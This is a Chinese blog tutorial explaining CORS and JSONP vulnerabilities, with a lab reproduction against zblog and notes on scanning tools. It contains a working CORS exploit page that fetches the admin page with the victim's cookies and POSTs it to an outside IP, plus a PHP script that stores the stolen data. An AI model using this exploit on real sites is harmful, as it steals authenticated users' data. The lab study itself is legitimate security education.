CORS与JSONP漏洞原理及其复现


在现代Web开发中,跨域资源共享(CORS)和JSONP是两种重要的跨域通信技术。CORS通过设置HTTP头来控制资源共享,而JSONP则利用了

本文将深入探讨CORS和JSONP的工作机制,展示如何在实际环境中应用和复现这些技术,并提供相应的安全注意事项。无论你是Web开发的新手,还是经验丰富的开发者,都能从中获得宝贵的知识和实用的技能。让我们一起揭开CORS和JSONP的神秘面纱,提升我们的Web开发能力。

CORS跨域共享

  1. 介绍
    1. CORS全称Cross-Origin Resource Sharing,跨域资源共享,是HTML5的一个新特性,已被 所有浏览器支持,跨域资源共享(CORS)是一种放宽同源策略的机制,它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制,以使不同的网站可以跨域获取数据。
  2. 同源策略配置
    1. Access-Control-Allow-Origin: 指定哪些域可以访问域资源。例如,如果requester.com想要访问provider.com的资源,那么开发人员可以使用此标头安全地授予requester.com对provider.com资源的访问权限。
    2. Access-Control-Allow-Credentials: 指定浏览器是否将使用请求发送cookie。仅当allow—credentials标头设置为true时,才会发送Cookie。
    3. Access-Control-Allow-Methods: 指定可以使用哪些HTTP请求方法(GET, PUT,DELETE等)来访问资源。此标头允许开发人员通过在requester.com请求访问provider.com的资源时,指定哪些方法有效来进一步增强安全性。
  3. 产生条件
    1. 错误的来源配置

      • 使用通配符 * 允许任何来源访问。
      • 允许不可信的来源。
    2. 凭证配置不当

      • Access-Control-Allow-Credentials 设置为 true,但没有验证请求来源。
    3. 不安全的HTTP方法

      • 允许不必要的HTTP方法(如 PUTDELETE),增加攻击面。
  4. 复现
    1. 靶场:zblog

    2. 过程

      1. 在服务端和本地分别部署两个文件用于构造钓鱼页面与接受数据来对比cors漏洞

        cors.html
        <!DOCTYPE>
        <html>
        <h1>cors exploit</h1>
        <script type="text/javascript">
        function exploit()
        {
            var xhr1;
            var xhr2;
            if(window.XMLHttpRequest)
            {
                xhr1 = new XMLHttpRequest();
                xhr2 = new XMLHttpRequest();
            }
            else
            {
                xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
                xhr2= new ActiveXObject("Microsoft.XMLHTTP");
            }
            xhr1.onreadystatechange=function()
            {
                if(xhr1.readyState == 4 && xhr1.status == 200) 
                {
                    var datas=xhr1.responseText;
                    xhr2.open("POST","http://43.139.186.80/cors1.php","true");
                    xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
                    xhr2.send("z0="+escape(datas));    
                }
            }
            xhr1.open("GET","http://localhost:80/zblog/zb_system/admin/index.php","true") 
            xhr1.withCredentials = true;      
            xhr1.send();
        }
        exploit();
        </script>
        </html>
        
        ---------------------------------------------------------------------------------------------------------------------
        cors1.php
        <?php
        $file = fopen("secrect.html", "w+");
        $res = $_POST['z0'];
        fwrite($file, $res);
        fclose($res);
        ?>
        
      2. 分别访问43.139.186.80/cors.html和127.0.0.1/cors.html得到结果如下

      3. 上述结果可以是因为服务端值容许本地的来源,如果使用通配符 * 允许任何来源访问,那将是完整的cors漏洞

  5. 自动化爆破工具
    1. CORScanner

      1. 工具更能爆破子域名
    2. 使用方法

      1.  python cors_scan.py -i top_100_domains.txt -t 100
         //将top_100_domains.txt的所有域名的子域名爆破出来
        

JSONP跨域回调

  1. 介绍
    1. JSONP跨域巧妙的利用了script标签能跨域的特点,实现了json的跨域传输。
  2. 复现
    1. 以虎牙为例,右键监听网络数据包

    2. 搜索callback找到了一张图片

    3. 虽然不是敏感文件,但是可以作为示例,查找别的网站,如果存在敏感数据,这可用于钓鱼获取这些数据

  3. 自动审查工具
    1. 安装教程
      1. 导入jython的jar包

      2. 添加py文件,启动即可

    2. 使用教程
      1. 打开扩展页面之后,不断游览网址即可

通过本文的学习,我们不仅深入了解了CORS和JSONP的原理,还掌握了如何在实际项目中应用这些技术解决跨域问题。在使用这些技术时,安全性仍需放在首位。通过对CORS和JSONP的全面剖析,我们能够更好地设计和实现安全的跨域通信,保护我们的应用免受潜在威胁。

在Web开发的道路上,我们每个人都有责任和义务不断提升自己的技术水平和安全意识。希望本文能为你在Web开发和安全防护方面提供有价值的指导和帮助,激发你对Web技术的持续关注和兴趣。让我们共同努力,构建一个更为安全和高效的Web环境。如果你有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢你的阅读,期待你的反馈与分享!

  • 28
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

CongSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值